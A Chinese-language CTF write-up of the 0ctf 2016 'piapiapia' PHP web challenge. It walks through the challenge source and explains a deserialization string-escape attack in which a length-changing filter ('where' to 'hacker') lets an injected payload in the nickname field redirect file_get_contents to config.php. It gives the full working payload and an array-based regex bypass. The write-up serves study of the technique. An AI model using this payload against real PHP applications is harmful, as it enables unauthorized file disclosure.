0ctf2016piapiapia
- 访问/www.zip得到源码
update.php
- 这里可以更新个人信息
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>'; - 这里的文件上传后会用MD5重命名,无法直接传马
- nickname的正则可以用数组绕过数组被当成字符串时会变成”Array”,正则可以匹配成功,这点在后面会用到
1
2if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname'); - $profile序列化后存入数据库
class.php
- 有两个类,都是mysql相关的操作
- 后面会用到一个过滤器
1
2
3
4
5
6
7
8
9public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
profile.php
- 存在反序列化和一个file_get_contents
1
2
3
4
5
6
7
8
9
10$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo'])); - $profile 从数据库中取出
- 没有什么类可以直接反序列化利用,因此思路应该是利用file_get_contents去读文件(可以发现flag在config.php中)
反序列化字符逃逸
$profile 从数据库取出后经过了刚刚提到的过滤器filter
1
2
3
4
5
6
7public function show_profile($username) {
$username = parent::filter($username);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}经过filter过滤后字符串长度可能会发生变化
1
2
3
4
5
6
7
8
9public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}where存在的话会被替换成hacker,长度增长了1,但是反序列化字符串中记录的长度并没有变
1
2
3
4
5
6
7$a = serialize('where');
echo $a;
//s:5:"where";
echo "<br>";
$b = str_replace('where','hacker',$a);
echo $b;
//s:5:"hacker";这时如果进行反序列化的话php依然认为这个字符串只有5个字符,最后的r就逃逸了出去,如果有多个where的话就可以逃逸出多个字符,从而闭合前面的”和{,给$profile注入一个我们想要的$profile[‘photo’]
在更新个人信息的时候除了nickname外都有格式的限制,因此利用nickname进行反序列化逃逸
简化后的demo
简化后的demo如下:
1 |
|
这时如果传入
1 | nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}&filename=test.php |
替换后的反序列化字符串为
1
a:2:{s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/93bc3c03503d8768cf7cc1e39ce16fcb";}
nickname被设为
1
'nickname' => array(1) { [0] => string(204) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker" }
photo则变成了我们指定的config.php
‘photo’ => string(10) “config.php”
后面的部分会被php忽略
最后的payload
更新资料的时候nickname设为数组,内容为
1 | wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";} |
然后将profile.php中的图片base64解码后即可得到flag